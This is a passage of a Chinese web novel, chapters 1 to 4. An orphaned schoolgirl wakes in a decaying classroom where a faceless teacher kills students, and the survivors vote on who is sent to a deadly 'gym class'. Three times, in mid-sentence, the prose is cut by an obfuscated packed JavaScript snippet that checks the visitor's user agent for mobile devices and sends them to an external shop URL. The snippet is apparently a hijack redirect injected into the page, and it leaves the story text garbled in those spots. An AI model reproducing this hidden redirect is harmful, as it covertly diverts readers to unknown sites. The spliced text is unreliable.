《女高禁止进化成boss》 1. 第一基地01 好旧的教室。 残缺的桌椅摞在垃圾一角,霉菌拥簇着,层叠而上,顶着天花板剥落的石膏,地上满布脏乱的粉渣。 讲台前整整齐齐摆着八张书桌。 学生们身着校服伏在书桌上熟睡,黎歌是当中最早醒来的。 教室外走进来一个人,拎着黑板擦。看到熟睡着的学生时,她突然转头往外走,恰好上课铃结束,自动闭合的门拦住了她的脚步。 她只好回过头来,不情不愿地走上讲台:“人虫的臭味,真令人作呕。” 这个人好像是个老师。 令黎歌头皮发麻的是,这位老师没有脸。 字面意义上的、光滑的、没有五官的一张脸。 老师踩在褪了绿漆的椅子上,一手撑在黑板,踮起脚尖一下又一下用袖子擦拭着悬在头顶的神龛。 神龛就供奉在黑板的正上方,大红的漆色鲜艳欲滴。 老师从口袋里掏出一支香,捏了捏,一小撮烟飘了起来,然后奉进了神龛中。 做完这些,老师的身体肉眼可见松弛了下来。 “神祇庇佑我,今天可以吃顿饱饭。”老师自言自语道。 虽然不可置信,但黎歌怀疑,她穿越了。 【你苏醒了。】 【这是混沌时代,这是最坏的时代。一份来自土地的祝福将帮助你更好地生存下去,你是否接受?】 眼前突然跳出来一些特殊符号,形状像是一粒一粒小骨头拼成的,而诡异的是自己居然可以看懂。 黎歌下意识地眨了眨眼睛,发现既是闭上了眼睛,还是能看到这些字。 它似乎是投射在自己的脑部神经系统里的。 她下意识地弯曲起食指指节,轻叩桌面,以此缓解此时的紧张感。 她不得不紧张。她只是一名普通的高三学生,拥有地球上最规律的作息,普通生活里最刺激的事情就是7天以后的高考。 睡在住了十八年的家里,一觉醒来出现在全是陌生人的陌生教室,这件事情本身已经足够恐怖。 更何况,教室里还有一个怪物。 土地的祝福是什么?听起来可以帮助自己更好地生存,当然需要。只是,她要怎么跟这行字交流? 【你已获得祝福。】 内容变了。 看来骨文能直接读取自己的思想。 黎歌蹙起眉毛,这种思想被人偷窥的感觉让人有点不舒服。 她是个孤儿,自懂事时起就半脱离了社区的照顾,一个人生活、打工、学习。同学关系保持点头之交,没有其他亲密关系,相反,距离才是她安全感的来源。 【祝福者:黎歌】 【祝福身份:全知者】 【伟大的全知者,未来的你将无所不知,基因的自私、生命的出路、宇宙运行的诡谲奥秘,如同一场胜负棋局尽收你的眼底。而作为执子之人,你清醒地知道,神,不过是另一种戴着枷锁的囚徒罢了。那么,这盘棋的第一步,你想怎么下呢?】 【祝福技能一:听谛(未解锁)】 【祝福技能二:点卯(未解锁)】 紧张感顺着黎歌的脊柱爬遍了她的全身,她紧闭了三次眼睛,再三确认骨文不是她的幻觉。 这是个有怪物的教室,无论信息多不可思议,她选择相信。 也就是说,她有两个固定技能,听谛和点卯,都是未解锁的状态,多半要解锁后才能知道它们的作用,而解锁条件未知。 那,现在要做什么? 指节无声地在桌面上扣了两下。 黎歌等了两秒,见骨文不再有动静,也不纠缠,先观察起这间教室。 其他人还没醒,无法确定他们的身份,不知道是不是跟自己一样是穿越过来的,还是原住民。 黎歌先摸了摸口袋。 手机没了。 运动手环不翼而飞。 身上的校服也被换了,她脸上一阵热。 厦城一中的校服是海洋色,这身校服则是黑白的,气味跟教室一样陈旧。布料手感很奇怪,摸上去像鳞片一样,不知道是什么材质。 齐腰长发不太便利,她摸了摸兜,发现平日里随身携带的史迪仔头绳也没了。 神金,头绳也要拿走! 黎歌有点生气。她唯一的爱好就是收集款式各异的头绳,史迪仔是她最喜欢的,所以平常都带着。 基本能确定,她和原世界的联络方式都被切断了。 那,她还是她吗? 她仔细打量自己的手掌。掌纹的形成源于遗传因子,是独一无二的密钥。 视线里还是那些熟悉的纹路。她的掌纹比起其他人凌乱很多,除了三道线以外,纵横着长短不一的细纹。最关键的是,大拇指上还能看见昨晚被书皮割破的口子。 说明这具身体是她自己的。 通常穿越小说和动漫里面的主角都是魂穿,有些还拥有无限复活的能力,在不同的世界穿梭冒险,拿生死当做娱乐,观看起来格外得刺激。 比较起来,身穿并不是好事,意味着任何危险都会对她本人造成实质性的伤害。 如果有生命危险,那她会彻底死亡。 她捏紧了指节。 教室一览无余,除了破旧,没有什么新鲜的信息点。正因为过分陈旧,反而带来一丝古怪的违和感。 就好像故意显得破旧一样。 黎歌无法解释自己的判断,全凭直觉。 黑板上面写着几个字——高考倒计时7天。 巧合吗? “并行的时间线?但这里像八零年代的学校陈设,是想要我认为穿越回过去了吗?” “八零年虽然会穷一点,起码安全。如果是真的,考试是我擅长的,运气好也许能赶上时代的各种风口,也不算差。” “但问题是,就算是在八零年也不存在无脸的怪物,更难想象,这样的怪物可以被聘请到一所高中任职。” 黎歌思考着,不禁想叹气。她很想乐观,但理智告诉她,这个世界并不简单。 “这是哪里?我在做梦?” 声音打断了黎歌的思考,她侧目看向右边,她的同桌醒了。 同桌剪着一头美式前刺,讲究得抓了抓造型。 解锁陌生人物+1。黎歌走了个神,电光火石之间,骨文刷新了。 【祝福者:黎歌】 【祝福能力:全知者】 【智力值:40(你拥有出类拔萃的学习和观察能力)】 【智力天赋:通感。】 【你注意到了吗?其实,世间万物的声音都各有情绪,而情绪是一种味道。你总能分辨出说话人的心情。】 【平凡的身体无法承载强大的祝福,将带来相应的反噬。请尽快完成进化,成为真正的全知者。】 此时,一股清甜的荔枝味从身旁散发出来。 【这是单纯的味道。炽热的盛夏总会怀念这么一枚荔枝,剥去粗糙的外壳后,轻易就能获取雪白而厚实的果肉,吮食清凉甜腻的汁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16616102|187761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水。】 荔枝味的……声音? 同桌瞟了讲台上的老师几眼:“啧,还是上班怨气重,鬼都来我梦里讲课了。” 老师空白的脸朝向他,声音不知道是从哪里发出来的,但语气不悦:“课堂上请勿喧哗!” 同桌置若罔闻,酷酷得踩上书桌,越过黎歌推开了窗户:“不能再睡了,老板让我去他家和他一起吃早饭接他上班,他一定是看中了我的才华,我要抓住机会。” 黎歌:“……” 好像是有点单纯的。 同桌以为他在做梦。 这并不是好兆头,面对未知的世界,首先要建立足够精准的认知,否则很容易陷入险境。 冷风灌了进来。这不是夏天该有的气温。窗外宛如深夜,墨色遮天,一点光都没有。 黎歌下意识拢了拢单薄的校服,犹豫是不是要搭话。 可上课铃响过了。 刚才老师也说了,课堂上请勿喧哗。她不得不谨慎。 抬头时,她恰好望进那双烛火般明亮闪耀的眼睛里,同桌嘟嘟囔囔:“陪老板看了这么多偶像剧,我终于也能梦到美女小姐姐了。” 他脱下校服,绅士地抛在黎歌的身上,遗憾地叹了口气:“只可惜我得醒了,小姐姐再见。” 黎歌被罩在校服里。 好温暖。 身影突然跳下窗户。 “!”黎歌掀开校服,下意识想要拉住他,但只来得及抓住一阵风,而手里的校服还残留着同桌的体温。 下一秒,窗边传来了重物砸在水泥地板的声音。 “嘭——” 黎歌的心脏沉沉地跳了一下。 骨裂的声音被揉碎在夜风里,钻进了她的耳朵。 那是密密麻麻的绝望:“好疼啊……好疼啊……救救我,我好疼啊……” 荔枝味逐渐淡去,一股辛辣的味道,在舌尖蔓延开,演化成了彻骨的痛觉!这可能是死亡的味道。 冷汗从额间渗透出来。 辛辣的味道消失了,渐渐得荔枝味也消失了,代表着他已经失去了生命。 剧烈的心跳几乎将胸腔撑破,在声音停止后,仍旧令她痛苦,仿佛那股痛觉从舌尖钻入了神经,在缓慢地凌迟她的感官。 黎歌第一次品尝到了死亡的味道。 这就是天赋的反噬吗? 讲台旁传来推动书桌的声音。 一位女士着急得站了起来,她恰好醒了,并且看到了全过程,争分夺秒说道:“骨头断了,听声音没有戳到肺部,他可能还有一线生机,我是医生,有没有人跟我去救人?” 她声音有些颤抖。或者她也察觉了这间教室的异常,但职业操守令她无法放置不管。 黎歌还没有从同桌的死亡里缓过来,她擦了擦汗,下意识站起来,强撑着想要应和医生的呼吁。 突如其来的声音打断了他们。 “我说了,教室里请勿喧哗!”老师尖声喝道。 她高高得举起黑板擦。黎歌这才细看这个奇怪的黑板擦,上面脏兮兮的,裹了一层粘稠的不知名液体。 黑板擦破风而过,砸向了医生,仿佛砸向一颗松软的豆腐,轻而易举将其凿开,嵌进了她的脑袋! 她的头骨顿时瘪下去,被力的作用带着往后倒去,将身后的课桌一并撞倒,红色和白色的液体溅了出来。 生命的最后,医生只发出了一声气若游丝的哀鸣:“救……” 痛!黎歌难忍地捂住了头。 2. 第一基地02 即便是短促的哀鸣,辛辣味再度将黎歌带入了痛苦的深渊,险些昏厥过去。 短期内叠加的死亡,加诸于她听觉神经上的痛苦也是双倍的。 现在她不得不相信,骨文信息是真的。 糟糕…… 照这样下去,假设教室内的人接二连三死去,不需要老师动手,她也会因为神经痛而死在这里! 黎歌脸色发白。 这个世界的老师竟然可以杀学生。 法律、秩序,还存在吗? 老师还在气头上,刚才的残忍仿佛只是稀松平常的惩罚,转而教育剩下的同学:“整个年段就你们最吵,你们每个人浪费五分钟,十六个人就是八十分钟!” 说话间她穿过人群,将黑板擦从尸体身上拔了下来,粘液淌下,她不管不顾地走回讲台,往黑板上重重拍了拍。 好像在拍粉笔灰那样。 一边拍,老师口气不善地交代道:“我再强调一遍,课堂上请勿喧哗,有问题请举手。你们需要积攒足够的学分,才能离开这里,我不认为你们还有多余的时间像幼虫一样啼哭害怕。” 教室内的同学纷纷抬起了头,原本绝望的气氛荡起了一些涟漪。 攒够学分就可以离开! 老师转过身来,没有五官的脸巡视了教室一圈,接着举起手指,开始清点人数:“1,2,3,4……” “14……怎么还有14只,太多了,监护人可不需要这么多只人虫。有限的教育资源,应该倾斜给最有生存价值的人虫。” 老师不满道。 气氛再度急转而下。 硝石味的声音。 【这是???的味道。你并未感受过这种情绪。】 黎歌愣了下,有些奇怪。 骨文的能力似乎是有局限的,这句话的意思是,通感能力会受到她的人生阅历影响? 可是……人的情绪,无外乎就是喜怒哀乐贪嗔痴,怎么会存在她没有感受过的情绪? 硝石味……印象中,在禁枪令还没有下达的年代,黎歌捡到过一具小鸟尸体,它蔚蓝的羽毛浸透在血液里,焦黑的伤口散发着的正是硝石燃烧的味道。 为什么说她没有感受过硝石味的情绪?老师杀人,硝石味如果和杀戮有关,杀手题材的影视作品黎歌看过不少,如果说演员的台词不代表真实情绪的话,那么社会新闻她也没有少看,她不可能没有听到过杀人犯的声音。 难道硝石味跟老师杀人的行为并不挂钩? 那退一步,恶意呢?生活中可从来不缺乏恶意,她应该立刻可以判断出来才对。 这不可能……黎歌愕然,这反向代表着,老师杀人时没有任何的恶意! 好像杀人真的只是她课堂的一部分。 黎歌觉得毛骨悚然。 这个老师太危险了。 老师将黑板擦随意地丢在讲台上,“哐当”一声响,引起了小范围的惊恐。有人在隐忍地啜泣。 硝石味愈加浓烈:“现存的人虫数量太多了,我宣布进入体育课,你们当中有些人虫可以选择离开教室,去室内体育馆上课,剩余人留在教室自习。” “体育课和自习课一样,价值3个学分。” “你们现在有五分钟时间讨论,选择谁去上体育课。如果五分钟之后没有人虫报名,就由班长负责去和体育老师交涉。” “我知道你们的困惑,我是个没有耐心的人,所以选择提前回答你们的问题——是的,体育课会增加你们的死亡率,而我不在乎,正如我最初的顾虑,现存的人虫数量太多了。” 什么意思? 教室内窸窸窣窣都是疑惑的动静。 听起来马上要展开一场清除计划,又要死人了。可是,为什么体育课和自习课的学分是一样的? 人群出现了松动,有人小心翼翼地试探:“我没有听懂规则,但是不是选择自习就可以了?” 他问完之后,教室又沉默了十几秒,而老师没有再提起满布腥气的黑板擦,只是站在讲台上扫视他们。 她似乎不打算干扰他们的讨论。 “……所以,现在可以说话了?”又有新的声音冒了出来。 答案毋庸置疑。 得知获得短暂的自由后,教室内渐渐嘈杂起来,众人压抑着的情绪终于开始决堤。 有人哭出了声,有人在叫骂。 有人克制不住得干呕,因为医生的尸体就倒在他们脚边。 “我的手机呢?” “我只是陪客户喝高了,怎么就来到了这种鬼地方……我死了吗,这到底是学校还是地府?” “我想回家,怎么样才能回家?” 嗡嗡声响作一片。在获得丁点自由之后,人们第一时间关注的事大多相似。 铁锈味越来越浓。 【这是专属于胆小者的味道,是齿轮生锈、裹足不前、不足为惧的声音。】 黎歌听出来,这些人跟她一样都是穿越过来的。 无端被牵扯到这个诡异的世界,所以充满了疑问。 这些人由于处于极度的恐慌,都缩在自己的位置里作自我保护状,多大数不肯和其他人交谈。 “兄弟,你是人是鬼?”粗糙的声音来源于前桌,黎歌看去,前桌正在和他的同桌打招呼。 两人预计都是30以上的年纪,男,微胖。他的同桌压低声音回复:“我肯定是人。兄弟,这里太诡异了,咱俩有缘做同桌,不如联个手?我打算选自习课,你怎么想?” “她说上体育课就是送死,咱们先选自习课不会错。” “行,那咱们意见一致了。大爷的,没想到有一天我会放着体育课不去上,留在教室里自习!” “唉,先活下来吧,活着才能出去。” 两人迅速结成了最小单位的同盟。 黎歌看了看空荡荡的右边座位——她的同桌已经死了。而她的位置在教室中最为偏僻,很难被其他人注意到,被列为结盟对象。 这时,两个大哥扭头看了她一眼,又回过头去,互相对视了下摇了摇头。 黎歌:“……” 她好像被列入了淘汰名单。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16616103|187761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >体格上她没有任何优势,在生死游戏里,弱者不但很难生存,而且会成为拖累,他们都意识到了这点。 黎歌感觉到了前所未有的压力。 她决定先选自习课,她不能冒任何风险。 而且,在场应该不会有人不选自习课。谁会愿意去体育课送死呢? 除了—— 崩溃的哭声突然响起:“我是班长?我为什么会是班长!我不想出去外面!” 短发女人坐在距离讲台最近的位置,此时她正急切地用袖子擦拭桌子,黎歌离她有点远,不能看清,但没有猜错的话,她的桌上很可能写着“班长”两个字。 班长见擦不掉桌上的信息,左右看了一圈,红着眼呼吁道:“大家,我们不要再浪费时间了,别忘了我们只有五分钟的讨论时间!有没有人要报名上体育课?” 教室陷入沉默。 众人这才想起来,如果没有人报名,班长需要出去和体育老师交涉,意味着只有她会死。 “大姐,你先别着急啊。”有人打破沉默,是最早开口的那位,他刚才表达过,他想要留在教室自习。 黎歌看过去,这个人画着精致的眼线,但妆容有些花了,汗水让他偏白的粉底变得斑驳,说话间小指会不自觉地翘起。 他可能是个化妆师。一些商业化妆师工作时有在小指垫一块海绵的习惯,防止蹭花客人的妆。 他站起来呼吁道:“我们都是受害者,受害者要团结,不会让你一个人受苦的,大家说对吧? “谁跟你是我们,”前桌骂了一句,高声道,“哪里都有你这样的人,站在宇宙中心呼唤爱的圣父是吧?道德绑架我们,自己留下来上自习课?” “喂,大家才刚认识,你这样污蔑我不好吧?”化妆师(黎歌姑且这样分辨他)有点生气,“那老师都说了,外面很危险,危险的地方就该让男人去啊!” 人群讥笑:“别的男人是男人,你是女人?” 前桌更是毫不客气地讽刺:“你是男人,你又想一展雄风,兄弟,我看这里你最适合上体育课。” 化妆师连忙坐了下去,恨不得埋到桌子里,嘴里嘟囔道:“我不去。我去能干什么。一群傻逼。” 班长见唯一替她说话的人噤声了,慌张更甚:“你们总不能真的让我一个人去送死吧?杀人犯,你们全是杀人犯!” 她的眼泪源源不断地掉下来:“我不能死,我今年45岁了,我刚刚拥有一个孩子,她是我千辛万苦做试管生出来的,还没有出保温箱,你们行行好,我想活下去……” 油柑味的声音。 【这是哀伤的味道,苦涩得无法下咽。】 破碎的眼泪砸落在寂静的教室,凝结成了冰块,这个夏天从没有一刻像今天这么冷过。在度过十几秒的死寂后,人们给出了评价。 “你的孩子跟我有什么关系?” “就是,怪就怪你自己倒霉,你卖惨有什么用?这里谁不想活下去?” “死你一个人,我们都能活,你就当做善事吧,善有善报,下辈子必然能投个富贵命!” 3. 第一基地03 所谓的普世价值,互帮互助、关爱弱小、“让妇女和孩子先走”,都在这里失效了。 文明分崩离析,这辆驶向死亡的列车,终究要往外抛撒不必要的负重,首先被丢弃的就是善良。 这是对还是错? 飞机起飞前通常会播放一则安全指南:紧急情况下,座位上方会释放氧气面罩,请先为自己佩戴好,再为身边的老人和小孩佩戴。 第一要义既然是生存,自我生存与他人生存又有什么高低之分? 丛林法则的残忍才刚露出爪牙而已。 哭声在死寂的教室内回荡,班长活着被众人宣告了死亡。 此时,一阵桌椅摩擦的声音割破了这无声的暴力,扎着方巾的女人站了起来。 她全身都在抖,半阖的杏眼里满溢着害怕,但她双手撑着桌子站住了,尽量让自己听起来更有底气。 “留在教室里,不见得就最安全的……这,这里看起来没有其他出口,不如组建一支有反抗能力的队伍,闯出去报警。” 众人倒吸一口冷气,眼神不自觉瞥向老师。 当着敌人的面讨论造反?! 老师没有五官的脸透露不出任何情绪,但敲了敲桌子:“我对你们的天真毫无兴趣,只是提醒下,讨论时间只剩2分钟。” 所谓人弱小的时候,连反抗都不会得到重视。 女人趁机又补充道:“这间教室里有14个人,而老师……只有1个!” 班长擦了把眼泪,立刻应和道:“是的!关键是要逃出去,有能力的人应该带领大家!” 人类的赞歌是勇气的赞歌吗? 很有煽动性。 但黎歌却想要捂住耳朵,她有点难受。 刚才的油柑味消失了,而声音中原本浮动的若有若无的腐烂味,开始变得浓烈。 这并不是勇气的味道。 教室内已经有一部分人动容了。 “耗在这里确实不是办法,大家陆陆续续总会体力不支的。” “对啊,这么一看,这里连水和食物都没有,时间久了,我们都会渴死、饿死在这里。” “确实很奇怪,体育课更危险,怎么学分就值3分?会不会就是为了骗我们都留着教室里,接下来提供有限的水和食物,让我们去厮杀……电影里就是这么演的!” “那不是完蛋了,赶紧报名吧,你们这些个小伙子人高马大,趁上体育课的机会找一找出去的路啊。” 人群的视线集中在了几个年轻人身上。 虽然所有人都身着校服,但是岁月在每个人的脸上与形态上都留着痕迹,大抵能分辨真实年纪。 教室内有老有少,最年长的约六十岁,至少有一半的人没有武力反抗的能力。 他们开始渴望精神领袖的出现,而理想的领袖应该要具备一定的力量感,他们认为会从年轻人中间诞生。 两个前桌也被列入了目标范围,黎歌离他们近,感受得到他们全身都因为注视而紧绷。 他们冷笑道:“凭什么我们要拯救你们?” “大家都自身难保了,弱肉强食,适者生存,你们自求多福吧。” 这时人群中站出一个瘦高个男生,指着刚才那位头戴方巾、呼吁反抗的女人,道:“你们不要被她骗了,我认识她!” “她是房车旅游百万主播,昨晚睡觉之前,我刚好刷到她更新的视频,她得了肝癌晚期!她就是想要在临死之前多拉几个垫背的!” 主播脸色一变,神色慌张起来:“我是生病了,可是我没有这么想……” 瘦高个愤愤不平:“昨晚在直播间粉丝都在安慰你,让你勇敢,你是不是嘲讽粉丝,这么勇敢,怎么不跟你换命试试?你忘了你被网友骂上热搜榜了?” 主播颓然坐了下去。教室内顿时哗然一片,瘦高个紧跟着嘲笑道:“你才适合报名去体育课,反正你都要死了,临死之前救一救班长,给你自己积点阴德。” 谁最该死? 被怪物选中的倒霉鬼? 擅长自掘坟墓一腔热血的反叛者? 还是早晚都得死的病秧子? 人们恐慌又兴奋地争夺着判官笔,企图掌控生杀大权。 【这是恶意的味道。源源不断的腐烂味,是冰箱里爬满青色霉菌的苹果,是玫瑰丛底下填埋的死鱼,是臭水沟里浮出来的野猫尸体。】 气味张开了密密麻麻的捕猎网,朝这发霉的教室里抛撒,其他情绪通通被一网打尽。 直到只剩下浓烈到刺鼻的腐烂味。 恶意从每一个人身上散发出来,填满了教室每一道缝隙,时时刻刻,无处不在。 气味刺激到黎歌忍不住捂耳朵,却于事无补。 她几乎听到了恶意在大声地叫嚣:我要活着,就让其他人去死好了,随便一个人去死都好! 原来是这样…… 黎歌在不适中挣扎,突然想通了老师真正的意图。 老师说,你们有五分钟时间讨论,选择谁去上体育课。 不是选择上体育课,是选择“谁”上体育课! 被移交出来的不是“自杀权”,而是“屠杀权”,在场任何一个人都有权屠杀他人,群体顺应规则自发定义了新的食物链,从而实现向食物链底层的逐级屠杀。 难怪需要安排一个班长。 猎场要如何变得热闹?很简单,先放入一只猎物。 黎歌突然背脊发凉,由心地感到恐惧。 她有种不详的预感。 老师敲了敲桌子:“时间到了,我接收到了你们的名单,从讨论开始,你们一共给出了五个具体报名者。” 五个,为什么有五个这么多? 黎歌的不安升到了顶点!应该是刚才恶意集中爆发的时候,她受气味的影响太大,没有听到一部分人议论的内容。 老师抬起了手,死亡的手指向一个又一个可怜虫:“你,你,还有你……” 被选中的分别是班长,化妆师,主播,一个坐在角落的女人,还有…… “你。” 没有五官的脸朝向黎歌,老师的手指准确无误地指向了她。 嗡—— 耳膜瞬间嗡鸣。 她听到班长模模糊糊的咒骂,质问主播为什么不能一个人去死,而化妆师在嗷嗷大哭。 宛如坠入了黑色的大海,一切听起来都不够真切,周遭的声音隔着水声。 是我吗?为什么? 怎么办?怎么办怎么办怎么办…… 一滴汗水沿着白皙的肌肤滑落。 黎歌没有多余的心思去擦,纤白的手指颤抖地握住桌沿,堵塞的血色几乎要冲破指尖,她忍不住举手质问:“为什么是我?” 温柔的声音在满教室的咒骂声中清扫出一片宁静。人群纷纷回过头来,这才注意到坐在角落的女孩。 美丽的、年轻的。柔软的及腰黑发随意地披散着,卧凤眼天生有诉说感,只是与她对视,就要被她眼波中满溢的情感淹没。 这不是个小孩吗…… 人们的眼神涌动着惋惜,又如何?怜惜的眼光转瞬即逝,他们把头埋了起来,深怕沾染任何不幸。 老师喜欢遵守课堂纪律的人虫,回答道:“虽然只有两票,但是他们两个人选择了你。” 黎歌顺着她手指的方向看去,右排靠窗的位置,那个举报主播的瘦高个将自己藏起了起来,不敢和她对峙。 正因他这个动作,得以露出了他身后的那个人。 他的瞳孔是灰色的,犹如藏区盘旋在万里高空的食腐鸟,锐利的鹰眼尽是无情的色彩。他与黎歌对视,眼神没有闪躲,非常坚决要送她去死。 黎歌仅凭这眼神,感受到了浓烈的恨意。 为什么? 他又是谁? 黎歌根本不认识他,但是她没时间了,她必须争取一切能存活的可能性,于是恳求道:“请让我留下来!” 空洞的求饶没有令老师产生任何波动,她说:“那么,你拥有什么生存价值?” “……我,”黎歌活了十八年,难得得失语了,她苍白地答道,“你们要攒学分,而我很会学习。” 老师沉默了一阵,二度敲了敲桌子结束这段对话,催促道:“行了,现在进入课间十分钟,以上同学请在上课铃结束之前离开教室,前往体育馆,不要迟到。” “上课时间45分钟,下一个上课铃声结束前必须回到教室。假设你们回得来的话。” “考虑到你们目前没有任何生存能力,我可以宽限你们从教室里带走一件物品,作为防身武器。不过,我需要提醒你们,这些物品仅能作为可怜的心理安慰罢了。你们可以选择带或者不带。” 声音平静得仿佛他们真的只是去上一堂普通的体育课。 有人开始行动了。他们慌乱地在整间教室里搜索,拿起断裂的桌子、椅子。 卫生角的撮箕作为铁制品遭到了抢夺。 教室里能找到的利器也就只有这些,根本称不上是武器。 黎歌感觉自己的视线开始笼罩一层雾蒙蒙的东西,名为——绝望。 通往体育课是一条必死的路。 她是身穿而来的,在这里死了,就是彻底的死亡。 好恶心的游戏规则。 弱者就活该去死吗? 【平凡的身体无法承载强大的祝福,将带来相应的反噬。请尽快完成进化,成为真正的全知者。】 骨文重复提示了两行字。 烦死了,倒是直接告诉我要怎么进化啊?体育课到底是什么,真的会死人吗,谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16616104|187761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能救救她? 指节被捏得泛白,扑腾的心脏已经紧张到要爆炸了。 她不要死在这里。 她一定可以找到生路! 教室内只有些许嘈杂,人们关注着这五个人的动向,情绪复杂。有人想要出声建议他们选取一些武器,但最终又把话咽了回去。 毕竟“杀死”这五个人的正是自己。 目前行动最为积极的是班长,其次是化妆师,另外两个人走走停停了一阵就回了座位,好像很快就决定好了武器。 最可怜的就是刚才的孩子——她好像吓坏了,躲在座位上不敢出来。 “我是不是可以要黑板擦……”化妆师站在离讲台最远的地方,极其小声地问了一句。 他竟然要那个浸泡过尸液的东西! 盯着他的人群忍不住胃部翻腾。 老师没有拒绝,而是拎起了黑板擦抛了过去。 抛物线的圆润足以预见它的轻盈,刚好掉落在化妆师脚边。他翘起小拇指去拎起黏糊糊的小方块,但是刚抓在手里,又如同烫手山芋一样丢了出去。 化妆师跺了跺脚,铁青着他的脸恨道:“怎么是个真的黑板擦,那么轻!” 这个化妆师总做一些手比脑子快的事。 “同学,麻烦起来下!”急切的声音在黎歌耳旁响起,班长已经搜索完了大半个教室,一路搜索到了黎歌的座位旁。 黎歌从思考中醒来:“为什么?” 班长犹豫片刻,但死亡的威胁迫使她无法犹豫太久:“你如果不想要带东西,就把位置让出来,让阿姨找一找好不好?” 言辞恳切,已经从先前失控的情绪里恢复过来。 “所以,你是想要确定我这里是不是有趁手的武器?”黎歌理解了她的请求,“我找一找。” 班长没想到这么顺利,愣了下,随即大喜:“谢谢同学,等会儿上课你可以跟着我,阿姨会保护你。阿姨的小孩前两天刚出生,也是个女孩,长大后能跟你一样聪明漂亮就好了。” 桌肚子空间不大,黎歌不一会儿就摸到了一个小东西,掏了出来。 班长眼前瞬间一亮:“打火机!” 是一只老式的手持打火机。里面还有一些油,足够使用几次。 所有人的注意力都集中了过来,纷纷有些激动。火种,人类文明的起源,在这阴暗又诡异的世界能够拥有火种,也就拥有了安全感。 黎歌摩挲着按手,班长立刻制止:“别,别把油用完了,给我!” 黎歌有些惊讶:“可是,这是我的。” 班长愣住:“你刚才不是答应跟我联手了?” 一缕长发从黎歌肩上滑落:“有吗?” “我只是说,我找一找,不代表着我答应了。”黎歌诚恳地回答。 班长几乎下意识地扑向黎歌想要抢夺,教室内回荡着众人倒吸一口气的声音。 这种事情总会发生的。 当资源有限时,争端就无可避免。 可就在即将碰触到黎歌时,班长又刹住了动作。或许是道德的约束,或者是羞愤于长辈的身份,两行泪从她脸颊落下。 她哀求道:“你可怜可怜阿姨,把东西让给阿姨吧?孩子太小了,住进保温箱的时候不到5斤,她需要妈妈。” “我认为,”黎歌看着她的眼睛,“并不是只有见血了,才叫杀人。” 班长的眼泪断落:“什么?” “你明知道我同样手无寸铁,却要拿走我的武器,而这极大可能会造成我的死亡,”黎歌语调平缓,冷静地揭开了她的面具,“这也是一种谋杀。” 没有比这更温柔的声音,也再没有比这更锋利的话,班长第一次在小孩面前感受到了慌张:“阿姨真没有想那么多!” 黎歌有些困惑:“可是,人们一般不会向比自己弱小的人求救,找学生帮忙的,通常都是骗子。” “……”班长脸一阵红一阵白,顿时非常难堪,语气也变差了,“我拿过好市民奖,捐款也捐的最勤快,怎么到了你这里成骗子了?” 黎歌并不这么认为:“你过去是个好人和你现在的所作所为并不冲突,就好像这间教室里的人,只是短短的十几分钟他们就学会了‘杀人’一样。一切都是为了生存而已。” 一些窃窃私语戛然而止。 人们有些难堪,但更多地是收回了对这个学生的同情,一个毛没长齐的小孩而已,有什么资格指点他们? 他们冷漠地收回关注的眼神。 空气中复杂的味道涌入黎歌的神经皮层,她已然习以为常。 从小到大,几乎每一个老师都会在她的年度评语中写下“性格过于冷淡”的评价,年纪见长后,黎歌才明白,写在评语中,就是暗示她改正的意思。 改个屁。 4. 第一基地04 黎歌计算了下被耽搁的时间,干脆道:“请让一下路。” 好冷。 她将同桌的衣服披上身,将衣服拉链拉到顶端,藏起半张脸后感觉到了一些暖意,这让自己舒服了好些。 接着她站起来,当着班长的面将打火机收进了掌心。 黎歌迈入过道。 她选择无视干扰,视线锁住了正前方的神龛。 里面的香已经烧了1/5。 又一滴冷汗坠了下来,哪怕是穿着两件校服,身体依旧在发冷。刚才她一直没有空细想,但好像自从这支香被点燃后,她的身体就开始暴汗。 回想下,老师进入教室后做的第一件事就是奉香,虔诚得宛如信徒在叩拜她的神祇。 所以,它不是一支普通的香。 她朝讲台走过去。 老师居高临下看着她,空白的脸在近处看更是恐怖——光滑得宛如平面,根本找不到任何五官的痕迹。 这是真正的怪物。 而死亡的威胁已经让黎歌无所畏惧,她开口:“老师,请让我带走那支香。” “我说过,每个人虫只能带走一件物品作为防身武器。”老师缓慢地开口。 好险,只是被拒绝而已。黎歌以为自己会被杀死。 兜里的打火机,神龛里的香火,只能二选一。 黎歌下定决心转身。 她站定在主播面前,摊开手掌:“你要吗?” 炙手可热的“武器”就这样被送了过来,身后传来班长的阻止声,主播的表情有些难以置信。 但相比于班长的激动,她很快恢复了平静,语气带上了淡淡的死气:“为什么选我?” 